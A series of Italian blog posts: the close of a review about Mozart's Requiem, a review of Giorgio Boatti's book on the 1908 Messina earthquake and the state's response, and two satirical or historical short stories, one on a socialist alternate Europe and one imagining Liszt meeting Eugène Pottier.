Per finire, ho seri dubbi sulla valutazione critica che Buscaroli riserva al Requiem. Non trascurerei il fatto che quest'opera sembra attualmente la più popolare fra quelle del suo autore. Ad esempio, se si digita Mozart nella casella di ricerca di "YouTube", il Requiem è la prima opzione che viene proposta. Senza dubbio, ciò si deve in gran parte al film Amadeus. Ma in parte, secondo me, lo si deve anche alla relativa semplicità di fruizione del Requiem che Buscaroli, a suo modo, evidenzia, pur senza comprenderne le ragioni. Non dimentichiamo che Mozart, poco prima di morire, fu testimone dell'enorme successo del suo Flauto Magico, un'opera scritta per un teatro della periferia di Vienna e destinata ad un pubblico popolare.

Forse Mozart, dopo aver volutamente sfidato il gusto dell'aristocrazia, e dopo l'amara esperienza del mancato sostegno da parte del pubblico borghese, negli ultimi mesi di vita iniziò a intravedere la possibilità di rivolgersi ad un pubblico interamente nuovo, posto al di fuori delle classi dominanti del presente e dell'immediato futuro. E cominciò a orientare la sua scrittura musicale all'obiettivo di conquistare ed educare, se necessario anche calibrando il livello di complessità compositiva, questo nuovo pubblico.

(Trovate la presente recensione anche su Evulon).
          Il terremoto di Messina del 1908        
Ripubblico qui di seguito una mia recensione (risalente a sei anni fa) al libro di Giorgio Boatti, La terra trema. Messina 28 dicembre 1908. I trenta secondi che cambiarono l'Italia, non gli italiani, Mondadori, Milano 2004, pp. 414, € 18,50.

"Ore 5.20 terremoto distrusse buona parte Messina - Giudico morti molte centinaia - case crollate sgombro macerie insufficienti mezzi locali - urgono soccorsi per sgombro vettovagliamento assistenza feriti - ogni aiuto sarà insufficiente".

E' il testo del telegramma con cui il governo italiano apprese del terremoto di Messina: inviato dal comandante di una nave militare da una stazione telegrafica calabrese alle 14.50 del 28 dicembre 1908, giunse al Ministero degli Interni alle 17.35 dello stesso giorno, cioè dodici ore dopo il disastro.
In questo telegramma la valutazione dei danni è naturalmente molto sottostimata: il terremoto, dell'undicesimo grado della scala Mercalli, distrusse quasi completamente le città di Messina e Reggio Calabria e causò, secondo le statistiche ufficiali, 77.283 morti (in altre valutazioni la cifra oscilla fra le 80.000 e le 140.000 vittime).

A volte, quando ci si sofferma a considerarla, la storia del nostro paese sembra un'ininterrotta sequela di disastri. Ogni generazione ha la sua catastrofe civile da ricordare e anzi spesso più d'una, a volte d'origine naturale e a volte umana. Il copione sembra sempre lo stesso: evento tragico; prime ricostruzioni giornalistiche, concitate e a forti tinte; interviste ai superstiti; il cordoglio della nazione; le autorità dello stato si precipitano sul luogo dell'evento; polemiche sulla tempestività dei soccorsi e sulla loro efficienza; i parenti delle vittime accusano; funerali solenni; ancora polemiche finché i riflettori dei mass-media si spengono.

Questo libro di Giorgio Boatti sul terremoto di Messina si basa in gran parte su uno studio accurato dei giornali dell'epoca. Una prima constatazione è che in essi lo schema che ci è tristemente familiare appare già operante. Il governo di Giovanni Giolitti dovette ben presto difendersi dalle accuse di non aver compiuto in modo adeguato e tempestivo l'opera di soccorso delle popolazioni colpite. In particolare, l'opinione pubblica dell'epoca fu colpita dal fatto che i primi soccorsi organizzati non vennero apprestati da parte italiana, bensì, a partire dalla mattina del 29 dicembre, dagli equipaggi di squadre navali russe e inglesi che casualmente si trovavano nei pressi al momento del terremoto (equipaggi che, secondo tutte le testimonianze, svolsero la loro opera eroicamente). I primi soccorritori italiani, dell'ottavo reggimento dei Bersaglieri, provenienti da Palermo, sbarcarono solo nel pomeriggio inoltrato dello stesso giorno.

Ma la cosa che più colpisce nella reazione all'evento da parte del governo italiano non consiste tanto nella lentezza o inefficienza dei soccorsi, per la quale si possono addurre delle circostanze attenuanti: l'Italia era allora un paese povero, sottosviluppato rispetto alle altre nazioni europee; la stessa tecnologia dell'epoca non consentiva una grande rapidità di reazione; il terremoto danneggiò molto seriamente le infrastrutture e le vie di comunicazione nelle zone colpite; infine non esisteva ancora il moderno concetto di protezione civile e lo Stato italiano non era preparato ad affrontare simili emergenze.

Ciò che realmente sorprende è che fin dall'inizio, il governo e una parte della pubblica opinione sembrarono considerare il terremoto principalmente come un problema di ordine pubblico. Fra le prime preoccupazioni si registrano, infati, il timore delle epidemie e la paura dei saccheggi.

Scrive il quotidiano "La Tribuna" del 2 gennaio 1909: per impedire un'epidemia occorre "compiere l'opera distruggitrice perpetrata dal terremoto: buttare giù quel poco che resta di queste case, buttarlo giù nel modo più energico, più rapido: a colpi di cannone. Far sgomberare i pochissimi superstiti e dalle navi bombardare queste scarnificate vestigia della città (...) non v'è altra via per impedire che il luogo dov'era Messina diventi un centro d'infezione a cui nessuno osi più avvicinarsi". (p. 118). "Il Mattino" del 6-7 gennaio rilancia la stessa idea attribuendone la paternità al Re, mentre "Il Messaggero" del 6 gennaio suggerisce di ricorrere al fuoco: "Si dia in preda alle fiamme [Messina] per purificarla, o si ricostruisca con piccole case come una cittadina giapponese" (p. 119).

E' sconcertante che fra le prime misure suggerite dopo un terremoto, vi sia quella di deportare la popolazione colpita e poi bombardare la città: sembra che nel caso di Messina non si sia arrivato a tanto solo perché, a distanza di molti giorni dalla catastrofe, si continuavano a trovare dei sopravvissuti sotto le rovine. Ma si rimane ancora più stupiti quando si apprende che uno dei motivi che suggerirono queste misure estreme, fu la necessità di preservare dai furti i valori rimasti sotto le macerie e soprattutto i caveaux delle banche.

Il regio decreto del 4 gennaio 1909 stabiliva lo stato d'assedio nei territori colpiti dal terremoto e conferiva i pieni poteri per l'emergenza al generale di corpo d'armata Francesco Mazza (annota Boatti che una diceria popolare fa discendere dal suo cognome l'etimologia della locuzione siculo-calabra "non capire una mazza"). Installatosi con il suo stato maggiore a bordo di una lussuosa nave militare al largo, e senza scendere quasi mai a terra, il generale Mazza provvide a circondare Messina di un cordone sanitario di truppe, cui diede l'ordine di sparare su chiunque dall'esterno si avvicinasse alla città senza lasciapassare. Questo per impedire che bande di saccheggiatori si riversassero sul luogo del disastro.

Ecco alcuni passi tratti dal bando emanato dal generale Mazza il 10 gennaio, riportato integralmente a p. 374 del libro di Boatti: "1 - Sono sospesi fino a nuovo ordine gli scavi delle macerie da parte di privati cittadini, sia per rintracciare cadaveri, sia per recuperare valori. (...) Le persone trovate a scavare saranno considerate come ladri e deferite al tribunale di guerra. [Questo mentre ancora i parenti delle vittime cercavano i loro cari sotto le macerie, n.d.r.] Anche le truppe, nei lavori stradali che compiono, si limiteranno esclusivamente ai lavori di assestamento evitando di eseguire scavi. (...) 3 - E' proibito l'ingresso in città a tutte le persone non munite di regolare permesso rilasciato dall'autorità politica della provincia da cui provengono..."

Il 6 gennaio l'autorità militare ordina di sospendere la distribuzione di viveri ai superstiti. Saranno distribuiti viveri a bordo delle navi, solamente ai profughi che accetteranno d'imbarcarsi per lasciare la città. L'idea, commenta Boatti, è perciò quella di "utilizzare l'arma della fame e della sete per imporre (..) la desertificazione di Messina" (p. 135). Questa cinica soluzione non viene attuata perché, come accennavo sopra, alcuni dei sepolti sotto le macerie si ostinano a farsi ritrovare vivi anche dopo giorni e giorni dal terremoto; ma altresì per le perplessità espresse da una parte della pubblica opinione e anche per le proteste degli stessi messinesi: un'assemblea autoconvocata di cittadini chiede il 19 gennaio la revoca dello stato d'assedio. Stato d'assedio che - osserva con sarcasmo il corrispondente de "Il Mattino" del 6 gennaio 1909 - sembra avere lo scopo precipuo di garantire "il sonno ai morti e la biancheria, gli oggetti e i titoli di banca ai vivi" (p. 137).

In seguito Giolitti giustificò la scelta di dare priorità al recupero dei valori, adducendo il timore di speculazioni al ribasso sulla lira (p. 146). Boatti propone un'altra spiegazione: "La difesa delle proprietà, la guardia ai caveaux delle banche, il salvataggio dei lingotti che mette in secondo piano altri interventi è una linea d'azione adottata, anzi, sbandierata, perché dal disordine - anche sociale - del terremoto emerga alfine una visione dove a prevalere è l'ordine, lo status quo, l'autorità e il prestigio dell'apparato dello Stato. (...) Salvare milioni, o lingotti, dopo tutto è meno complicato che cercare di strappare alla morte, in una gara contro il tempo, migliaia di sepolti vivi" (p.155).

A questo atteggiamento grettamente calcolatore da parte degli apparati dello Stato si contrappone lo slancio di solidarietà manifestato da più parti della società. In poche settimane si raccolgono più di ventun milioni di lire (dell'epoca) in sottoscrizioni, buona parte delle quali provenienti dall'estero. La cosa non manca anzi di creare preoccupazioni nelle alte sfere: non si rischierà di creare l'abitudine all'assistenza, al farsi mantenere dallo Stato, a quello che oggi si chiama assistenzialismo? Sua Altezza Reale il Duca d'Aosta esprime autorevolmente questo cruccio quando afferma che "è immorale mantenere un'orda di vagabondi e creare oziosi" (p. 234).

Non si trattò soltanto di solidarietà finanziaria. Volontari affluirono da tutta Italia per prestare opera di soccorso. Boatti dedica particolare attenzione alla vicenda di uno di essi, il parlamentare parmense Giuseppe Micheli, un deputato cattolico che, arrivato a Messina pochi giorni dopo il terremoto, subito mise in piedi, con la collaborazione dell'Arcivescovo, un "comitato messinese di soccorso", a carattere volontario, che si rivelò un'organizzazione semiufficiale sotto molti aspetti più efficiente di quella statale (pp. 263-68). Un'altra figura che emerge è quella dell'ex sindaco socialista di Catania Giuseppe De Felice Giuffrida, che era stato protagonista pochi anni prima di una delle esperienze politico-amministrative più avanzate della Sicilia dell'epoca: da sindaco della sua città aveva promosso forme di socializzazione dei servizi pubblici (forni municipalizzati, cucine popolari), la cui esperienza risultò ora preziosa per organizzare la distribuzione dei viveri ai superstiti del terremoto (pp. 203-4).

La miseria delle regioni colpite dal terremoto impressionò molti degli osservatori e degli inviati giunti sul luogo della catastrofe. Qualcuno propose dei rimedi; ad esempio il letterato Giovanni Cena suggerì, naturalmente quale misura temporanea, quella di emigrare. "Parecchi anni di duro tirocinio all'estero (...): poi gli emigranti calabresi torneranno altri uomini e non domanderanno più nulla, fuorché il loro buon diritto di cittadini" (p. 381). (Oggi si può dire che noi calabresi abbiamo seguito il consiglio, e che gli "anni di tirocinio" sono stati effettivamente molti, anzi durano tuttora. Sarà che siamo un po' lenti ad imparare?).

Il libro di Boatti non manca di sottolineare l'imprevidenza e anche l'incoscienza generalizzata che indussero i cittadini di Messina e Reggio Calabria (le città che oggi qualcuno vorrebbe unire con un ponte lungo tre chilometri, inutile, dannoso e pericoloso) a costruire tutto, anche gli edifici pubblici, al di fuori delle più elementari regole di sicurezza. Le fotografie che corredano il volume illustrano un panorama di distruzione impressionante, ove emerge, unica costruzione intatta perché edificata con criteri antisismici, il villino di un medico messinese.

Nella sua ricognizione della pubblicistica dell'epoca, Boatti dedica due capitoli ad alcune singolari polemiche: quella (cap. XVII) fra autorità laiche e cattoliche riguardo alla sistemazione degli orfani del terremoto (il Vaticano pretendeva ovviamente che fossero tutti educati "in Cristo" nei suoi istituti), e quella concernente il destino dell'Università di Messina, di cui alcuni illustri cattedratici proposero senz'altro la chiusura, in base alla considerazione che di università ce n'erano fin troppe e che in particolare quelle meridionali erano diplomifici per giovani sfaccendati (pp. 276-7).

Boatti chiude la sua esposizione con un'osservazione suggestiva: la "meglio gioventù" dei volontari del terremoto, poco dopo, buttò via inutilmente la propria carica di idealismo e di amor patrio, la propria volontà di fare e di cambiare le cose, nelle trincee della Prima guerra mondiale. Agli ordini (aggiungo io) di quella medesima classe dirigente ignorante, ottusa, autoritaria, incapace e meschinamente arroccata nella difesa dei propri privilegi, che aveva già dato prova di sé nella gestione ufficiale dell'emergenza-terremoto e che di lì a poco "inventerà" il fascismo.

Questo testo di Giorgio Boatti fa luce su un episodio importante e poco conosciuto della nostra storia nazionale, e lo fa (a differenza della pseudo-storiografia sensazionalistica e superficiale oggi di moda) con grande scrupolosità e metodo: il volume si chiude con ben cento pagine di appendice documentaria e di note al testo. Anche solo per questo sarebbe da raccomandare. Per chi come me proviene da una delle zone disastrate, la lettura di questo libro è irrinunciabile e consente di ritrovare la radice di mali antichi.

Originariamente pubblicato il 22 febbraio 2005, qui.
          Stella rossa sull'Europa        
"Buongiorno, Anne. Buon anno".
"Buongiorno, Valentin. Buon anno anche a te. Novità?"
"Sì. Un nuovo arrivo. Sabato notte. Hai il colloquio già fissato per le undici. Trovi tutti i dettagli in agenda".
Anne Dupont, psicologa del Centro di Prima Accoglienza di Calais, entrò nel suo ufficio, accese il terminale e consultò la sua agenda elettronica.

Lunedì 5 gennaio 2011, ore 11,00. Colloquio con Monsieur Philip Brasser. Cittadino britannico. Età 38. Celibe. Operazione di salvataggio in mare, Canale della Manica, acque internazionali, 3 gennaio u.s. Condizioni fisiche buone. Non parla francese. Attribuzione provvisoria: codice blu.

Bene, pensò Anne. Un rifugiato politico. Iniziare l'anno nuovo con un codice blu era di buon auspicio. Il colloquio era di lì a due ore. Non c'erano altri impegni per la giornata. Completò con calma alcuni referti clinici iniziati la settimana precedente, fece una partita a Tetris, chattò con alcuni amici in Internet. Quando fu il momento, si aggiustò il make-up e si recò in sala colloqui.

Era una stanza non troppo ampia, arredata come un normale studio specialistico ma con qualche accorgimento per mettere gli ospiti a proprio agio: colori pastello, luci soffuse, lettino basso, comoda poltrona. Su quest'ultima, di fronte alla scrivania della dottoressa, era già seduto il signor Brasser.

"Good morning, Mr. Brasser. Prima di tutto, come sta?"
La domanda non era solo formale. L'uomo appariva molto provato. I tanti capelli bianchi, la pelle del viso magro solcata da numerose rughe, le profonde occhiaie dietro le lenti spesse, lo facevano sembrare più vecchio di dieci anni rispetto alla sua età anagrafica. Al posto degli abiti che indossava al momento del suo salvataggio, fradici e inservibili, gli avevano fornito un nuovo completo, che era tuttavia di due numeri più largo e accentuava la gracilità del suo fisico. Gli tremavano le mani.
Quegli scafisti maledetti, pensò Anne.
"Adesso sto meglio, grazie. Certo, suppongo che la notte passata all'addiaccio su quel canotto non abbia migliorato granché la mia cera. Ma ho fatto una buona dormita, qui da voi, e la vostra cucina è ottima". La sua voce era ferma, con una sfumatura d'ironia. "Solamente, non sono riuscito a procurarmi neppure una sigaretta, dottoressa..."
"Dupont. Ma può chiamarmi Anne. Temo che non ne troverà neppure in futuro. Nell'Unione non se ne producono più. Fino a qualche tempo fa, le importavamo dal suo paese".
"Oh, già, ora ricordo. Le esportazioni cessarono sei anni fa. Troppo pochi fumatori, qui da voi. Non c'era abbastanza profitto. Lo so perché all'epoca lavoravo in un'agenzia di rating".
"Lei è analista finanziario?"
Il signor Brasser rise. "No. Laureato in agraria. Da Troody's ero operatore al call center. Ogni grande compagnia ha il suo. E' la mansione che ho sempre svolto, durante tutta la mia carriera. Ho lavorato per almeno trenta società diverse, ogni volta per non più di sei mesi. Si imparano tante cose, sa?"
"Non ho dubbi. Ma veniamo al punto. Lei ha chiesto lo status di rifugiato politico. Data la sua provenienza, certamente la sua richiesta sarà accettata. Lei diventerà fra breve, a tutti gli effetti, cittadino dell'Unione delle Repubbliche Socialiste d'Europa. Già adesso, comunque, lei è libero di circolare in tutto il territorio dell'Unione, ed eventualmente anche di tornare da dove è venuto..."
"No grazie! Non ci tengo affatto".
"Dicevo per dire. In genere, qui da noi i rifugiati si integrano abbastanza in fretta. Tuttavia, non si può escludere che, all'inizio, lei si trovi un po' spaesato. Il nostro sistema sociale è molto diverso da quello da cui lei proviene. A sua richiesta, lei può fruire di adeguata assistenza psicologica e culturale, per superare eventuali difficoltà di adattamento. In questa fase iniziale, se vuole, mi consideri pure come suo referente".
"Oh. E quanto dura questa... fase iniziale?"
"Può finire anche subito, se crede. L'unico suo obbligo, se intende rimanere nell'Unione, è di iscriversi nelle liste di collocamento e nelle graduatorie per gli alloggi. Non credo che le sarà difficile trovare un lavoro e una casa. Se lei non ha esigenze particolari, penso che troverà una sistemazione accettabile nel giro di un paio di settimane. Fino ad allora, comunque, può rimanere qui, o spostarsi in una delle altre strutture di prima accoglienza nel territorio dell'Unione".
"Sembra magnifico. Dov'è la fregatura?"
"Ecco. Era proprio ciò che intendevo. Non c'è nessuna fregatura, per quanto lei sia abituato a pensare che debba per forza esserci. Non pretendo che lei mi creda. Presto se ne accorgerà da sé".

Non c'erano straordinari da fare, quel giorno. Alle tredici, Anne spense il computer, salutò i colleghi che arrivavano per il turno pomeridiano e, senza passare dalla mensa, prese l'elio-tram che, serpeggiando silenziosamente lungo la costa, la portò a casa sua in dieci minuti. Era una magnifica giornata di sole. Il mare era inusualmente calmo, in quei giorni. Una fortuna, per Brasser. Aveva evitato il triste destino di tanti boat-people che partivano clandestinamente dalla riva inglese ma non riuscivano a raggiungere i nostri mezzi di soccorso nelle acque internazionali.

Anne abitava da sola. Si preparò un leggero pranzo macrobiotico, poi un caffé d'orzo. Accese la radio; la spense. Si guardò nello specchio del soggiorno. Sorrise. Tutto sommato, si piaceva. Si chiese come sarebbe stato il suo sembiante, alla sua età, se anziché in Europa continentale fosse vissuta in quell'inferno che doveva essere Londra. I profughi le avevano raccontato storie orribili. Inquinamento, degrado. Se andava bene, orari lavorativi di dieci o dodici ore. Altrimenti, la disoccupazione, l'emarginazione e la pazzia. Oppure, per una ristretta minoranza, la ricchezza e il potere, ma a costo di rinunciare a qualsiasi barlume d'umanità. Un'altra forma di follia, in fondo.

Mercoledì 7 gennaio, ore 10,00. Secondo colloquio con Monsieur Brasser.

Quella mattina l'aspetto di Mr. Brasser era molto migliorato. Anne glielo disse.
"Grazie, Dottoressa. Lei è gentile quanto bella".
Anne Dupont ignorò il complimento.
"Se ho chiesto un nuovo colloquio" continuò Brasser, "non è per ottenere assistenza psicologica".
"Davvero? E perché, allora?"
"Ho due domande da porle".
"Le risponderò, se posso. Ma prima, permetta che le faccia io una domanda. Cosa sa, lei, dell'Unione?"
"Poco, in realtà. So che dapprima ci fu la Rivoluzione d'Ottobre, in Russia, nel 1917. Poi, tra il '18 e il '20, il capitalismo fu abbattuto in Germania, in Ungheria e in Italia. In rapida successione, tutte le colonie europee in Asia e in Africa conquistarono l'indipendenza. L'India nel 1925, la Cina nel '27, e così via. Poco dopo fu la volta dell'Algeria e del Marocco, e a quel punto la rivoluzione scoppiò anche in Francia e in Spagna. Alla fine degli anni '30, tutta l'Europa continentale era socialista.
Frattanto, il crollo di Wall Street nel 1929 aveva gettato l'America nella crisi più nera. Le elezioni presidenziali del 1940 furono vinte da Charles Lindbergh, un fanatico antisemita che instaurò negli U.S.A. una dittatura razzista, appoggiata dal grande capitale. Presto quel regime si circondò di una serie di stati-satellite che coprivano tutta l'America del Sud e del Nord.
Negli anni '80, quelle dittature iniziarono ad implodere, dapprima in America Latina e poi in Canada. Quando nel 1989 cadde il Muro di Tijuana, finalmente il capitalismo crollò negli stessi Stati Uniti. Da allora, secondo la nostra propaganda, il Regno Unito di Gran Bretagna è rimasto l'ultimo baluardo del libero mercato e della civiltà, contro la barbarie socialista che ha travolto tutto il resto del globo. Questo è quanto".
"Bene - disse la dottoressa - a parte la faccenda del baluardo, il quadro storico è corretto. Non le sarà stato facile ricostruirlo..."
"No, infatti. Da noi, formalmente, la cultura è libera, e ognuno può leggere ciò che vuole. Si possono prendere in prestito, nelle poche biblioteche rimaste, anche testi di Marx o di Lenin, e persino di Fabio Volo. Non è vietato. Di fatto, però, ci sono materie che non conviene approfondire troppo. Se si viene a sapere che lei fa certe letture e che ha determinate idee (e si viene a sapere sempre), non speri di trovare lavoro tanto facilmente. Io me la sono cavata con i call center, solo perché le mie origini non sono troppo umili. Quando avevo vent'anni, i miei riuscirono persino a mandarmi all'università. Certo, oggi non potrei più frequentarla. Da allora le rette sono decuplicate."
"Ah, lei ha letto Fabio Volo? Complimenti. Da noi, molti lo considerano un autore troppo difficile".
"Sì, è molto rigoroso e denso, ma se si ha tempo da dedicargli, è un pensatore affascinante. Le consiglio la Critica del tempo unidimensionale, se non l'ha ancora letta. A me ha aperto la mente. In realtà, uno dei motivi per cui mi sono deciso ad espatriare è che anche studiare per conto proprio da noi è diventato impossibile. Troppo costoso, da quando il dizionario è stato privatizzato".
"Il dizionario?"
"Sì. Tutti i sostantivi che iniziano per vocale appartengono alla Mircosoft. Quelli che iniziano per consonante sono del gruppo Murdogh. Gli avverbi sono di Merdaset, e così via. Per leggere o per usare comunque le parole bisogna pagare il noleggio ai legittimi proprietari. Quando lei scrive una e-mail, oppure quando chatta o quando telefona, un sistema di contatori automatici calcola la cifra e l'addebita sul suo conto. Ottimo sistema, fra l'altro, per controllare i contenuti della comunicazione. Io, per esempio, ho fatto quindici giorni di carcere per uso illecito di marchio registrato, la volta che in una mia mail ho scritto che la Cocca Colla mi faceva schifo".
"Senta, Mr. Brasser. Quali sono i suoi progetti? Cosa intende fare, ora che è venuto qui da noi?"
"Primo, togliermi una curiosità che mi ha tormentato a lungo. Ed è la prima delle due domande che volevo farle, si ricorda?"
La dottoressa Dupont sbuffò. "Va bene. Spari".
"La domanda è: perché non ci avete invaso? Come avete potuto lasciarci a mollo in quella fogna?"
Anne si appoggiò sullo schienale della sedia. "Beh, alcuni partiti in seno all'Internazionale erano per dichiarare guerra. Ma infine prevalse l'idea che il socialismo non può essere imposto con i carri armati. Se ci avessero attaccato, ci saremmo difesi. Per fortuna non accadde. Oggi, poi, molti sostengono che una pluralità di sistemi sociali diversi non è necessariamente un male. In India, in Giappone e in Sud America, dove la transizione al comunismo è molto avanzata, stanno già smantellando le strutture dello Stato, per sostituirle con vari tipi di organizzazione non statuale. In Europa e in Africa ci troviamo ancora nella fase socialista, in vari stadi di sviluppo a seconda dei territori. Forse è bene che ci siano delle zone dove ancora vige il capitalismo."
"Sarà un bene per voi, che ci osservate dall'esterno come se fossimo allo zoo! Ma per noi che siamo in gabbia è un altro discorso".
"Lei ora non è più in gabbia. Comunque, mi sembra che il suo atteggiamento nei confronti del suo paese d'origine sia un po' troppo negativo, non crede?"
"Mi dica lei cosa ci vede di bello, in quel letamaio", ribatté Brasser.
"Beh, che so... Avete una scena musicale molto vivace. Un sacco di gruppi pop, rock, punk, post-punk... Wim Wenders ci ha fatto anche un film. Poi, comunque, il vostro sistema ha ancora una base di consenso popolare".
"Si riferisce a West End London Social Club, vero? Quel film mi dà la nausea! Le televisioni del regime lo replicano senza tregua. L'unico film d'autore trasmesso in prima serata, e senza interruzioni pubblicitarie."
"Ecco, ad esempio - lo interruppe la dottoressa - Perché lei parla di televisioni di regime? Da voi ci sono sei o sette canali, se non sbaglio, tutti privati e in concorrenza fra loro..."
"... e trasmettono tutti le stesse schifezze. Non si distinguono l'uno dall'altro. Anne, lei non ha capito: da noi l'economia è allo sfascio, la società è in piena decadenza, la cultura è morta e sepolta. L'unica attività che va a gonfie vele è la manipolazione del consenso per mezzo dei mass-media. Quella è l'unica industria che non conosce crisi!"
"Non volevo farla arrabbiare. Si calmi. Lei ora è al sicuro. Andrà tutto bene. Respiri profondamente, e mi faccia la seconda domanda che voleva pormi".
"Mi scusi. La domanda è questa. Lei è libera stasera? Ho letto sul giornale che in un cinema d'essai a Dunkerque proiettano L'Atalante di Jean Vigo. E' una vita che desidero vedere quel film, e mi chiedevo se... lei volesse venire con me a vederlo, ecco."


Pubblicato su Evulon in due puntate: la prima il 7 gennaio 2011 qui, e la seconda il 12 gennaio 2011, qui.
          La rivoluzione russa        
La mattina del 20 settembre 1871, il Maestro Franz Liszt si esercitava al pianoforte nello studio della sua sontuosa magione di campagna vicino Budapest, quando fu interrotto da un confuso e concitato vociare proveniente dal portone d'ingresso.

"Che succede, Pierre?" chiese mentre raggiungeva il suo maggiordomo, il quale, bloccando con il suo corpo l'accesso alla casa, stava palesemente cercando di convincere un ospite indesiderato ad andarsene.

Quando Liszt, avvicinatosi dietro le spalle del suo domestico, poté scorgere l'aspetto dell'intruso (un uomo sui sessant'anni, calvo, barbuto, che sembrava assai malmesso, ma parlava un francese forbito con marcato accento parigino), quest'ultimo troncò subito, lasciando una frase a metà, il suo litigio con Pierre e, volgendo speranzoso lo sguardo al padrone di casa, così lo apostrofò:

"Maestro Liszt! Maestro! Vi prego, degnatevi di concedere udienza ad un vostro grande ammiratore, giunto or ora dalla Francia solo per avere l'inestimabile onore di fare la Vostra conoscenza!"

"Padrone!" diceva intanto il maggiordomo, "lasciate che cacci via a calci nel sedere questo vagabondo che pretende di farsi ricevere da Voi! E' inaudito! Come se qualsiasi pitocco potesse..."

"Va bene, Pierre, lascia pure entrare Monsieur... di grazia, come vi chiamate?"

Il viso dello strano ospite si rasserenò. "Mi chiamo Eugène Pottier. Da Parigi. Poeta. Per servirvi. Sapevo che avreste... oh, grazie, mille grazie, Maestro!"

"Potete chiamarmi semplicemente Padre. Come forse saprete, non sono che un umile servitore di Santa Romana Chiesa... Ma accomodatevi nel mio studio, ve ne prego, e raccontatemi di voi..." diceva Liszt mentre accompagnava il suo ammiratore lungo il corridoio. "Venite da Parigi, avete detto?", qui il musicista scoccò uno sguardo sospettoso sul suo interlocutore. "E dove siete diretto, se posso..."

Mentre Liszt tornava a sedersi al suo pianoforte, Pottier si accomodò su un'ampia poltrona disposta in modo da fronteggiare il lato destro dello strumento. Come in una sala da concerto, pensò Pottier un po' a disagio. "Maestro, cioè scusatemi, Padre. Avete già capito. Sono un combattente della Comune. Sono in esilio, ramingo per l'Europa, da ormai quattro mesi. Ma non voglio annoiarvi con il racconto delle mie tribolazioni. Sono venuto qui, attratto dalla vostra fama di grande artista e di uomo già attento alla questione sociale, perché ho un testo, da me composto, che vorrei chiedervi di porre in musica".

Ci furono alcuni secondi di silenzio, durante i quali le palpebre di Liszt si aprirono e si chiusero spasmodicamente per una ventina di volte. "Monsieur Pottier... vi rendete conto, spero, del rischio a cui state esponendo voi stesso e me. Mi è difficile comprendere come siate potuto giungere fin qui dalla Francia. Ma, che la vostra sia stata fortuna o incoscienza, sappiate che la polizia asburgica non è affatto indulgente con quelli come voi, né con chi dà loro rifugio."

Pottier si raddrizzò sulla poltrona. "Né fortuna, né incoscienza, Monsieur Liszt. Siamo stati sconfitti, è vero. Ma abbiamo compagni ovunque, pronti a dare il loro silenzioso contributo alla Causa. E' grazie alla loro solidarietà che sono riuscito a sopravvivere e ad arrivare a voi. La musica che porto con me" - a questo punto Pottier tirò fuori da una tasca della giacca un fascicolo spiegazzato, ingiallito e sgualcito, e lo tese a Liszt - "mi induce a confidare anche nella vostra solidarietà".

Sempre più stupito, ma senza offuscare la politezza dei suoi modi da gentiluomo, il musicista prese l'opuscolo che lo strano visitatore gli porgeva. Era uno spartito a stampa che recava sopra il pentagramma il titolo Lyon e il motto: Vivre en travaillant, ou mourir en combattant. Che si potrebbe tradurre, a un dipresso: Vivere del proprio lavoro, o morire combattendo.

"Dove l'avete trovata?" chiese subito Liszt. "Questa composizione non fa più parte della raccolta delle mie opere. Non viene più ristampata da..."

"Dal 1837" lo interruppe Pottier. "Me la regalò mio padre, il giorno del mio ventunesimo compleanno. Mi spiegò che un grande musicista l'aveva composta per celebrare il ricordo della rivolta degli operai disoccupati di Lione. Mi disse: se vuoi davvero fare l'artista, prendi esempio, figlio mio, e ricordati sempre da quale parte della barricata devi stare!"

Liszt guardò fisso il suo ospite, che ricambiava lo sguardo con fermezza. Poi sospirò. "Monsieur Pottier, i tempi sono cambiati. Persino quella testa calda del mio amico Wagner se n'è reso conto, ed è passato (come direste voi) dall'altra parte della barricata. L'epoca delle rivoluzioni è finita. Per sempre. Anche voialtri, col vostro folle tentativo laggiù in Francia, lo avete dimostrato. Datemi retta: la vostra cosiddetta questione sociale non ha alcuna soluzione. Non su questa terra, almeno. La sola cosa che posso fare per voi è scrivere due righe al priore del convento francescano che si trova a una lega da qui. E' mio amico. Vi darà ricetto e ospitalità, fino al giorno in cui Dio, nella Sua infinita misericordia, illuminerà la vostra mente, come già fece con la mia. Allora anche voi comprenderete, e vi rassegnerete alla Sua volontà".

Pottier rimase in silenzio. Poi fece per rimettere in tasca l'altro foglio di carta che ne aveva tratto poco prima e che stava per consegnare al grande musicista. Ma gli tremava la mano e, senza che lui se ne accorgesse, il foglio cadde per terra. Infine disse: "Bene, Monsieur Liszt. Vi chiedo scusa per l'incomodo e per il rischio che vi ho fatto correre. Mi ero sbagliato sul vostro conto. Ora non vi importunerò ulteriormente e, col vostro permesso, riprenderò il mio viaggio."

Stava per uscire senz'altro dallo studio di Liszt, ma quest'ultimo lo richiamo: "Aspettate, Monsieur Pottier. Non fatemi il torto di rifiutare la mia ospitalità, almeno sino a domattina... Tra poco sarà servita la colazione. Frattanto, accomodatevi, e siate così gentile da attendere che abbia finito i miei esercizi. Fra l'altro, suono meglio quando ho un pubblico ad ascoltarmi. Posso chiedervi inoltre, nuovamente, qual è la meta del vostro viaggio?"

Eugène Pottier si risedette. "Credo che andrò in Russia. C'è molto lavoro da fare, laggiù".

"In Russia!?" esclamò Liszt. Stava per aggiungere: voi siete pazzo, ma si trattenne. "Voi non sapete quel che dite! Ogni giorno, ogni giorno lo Zar incarcera, spedisce in Siberia o manda sul patibolo gente come voi! Ecco, guardate" - Liszt prese in fretta dallo scrittoio una rivista - "guardate questo giornale che mi è arrivato ieri da San Pietroburgo. Sapete leggere il cirillico? Ecco l'elenco dei terroristi che sono stati impiccati il mese scorso per avere cospirato contro la monarchia: Rodion Raskolnikov, Nikolaj Stavrogin, Aleksandr Uljanov... Va avanti per un'intera pagina! E voi volete andare in Russia?"

Pottier ribatté con calma: "Terroristi, avete detto? Uhm... no, non è questa la strada. Noi vinceremo, ma seguendo un altro cammino."

"Ah, sì? E quale, se mi è concesso chiederlo?

"Non lo so. Forse la strada non c'è. Ma so che c'è da camminare".

Liszt sospirò. Guardò Pottier. Poi guardò il giornale russo. Poi guardò il suo pianoforte. Infine ci si sedette e, senza dire niente, attaccò a suonarlo.

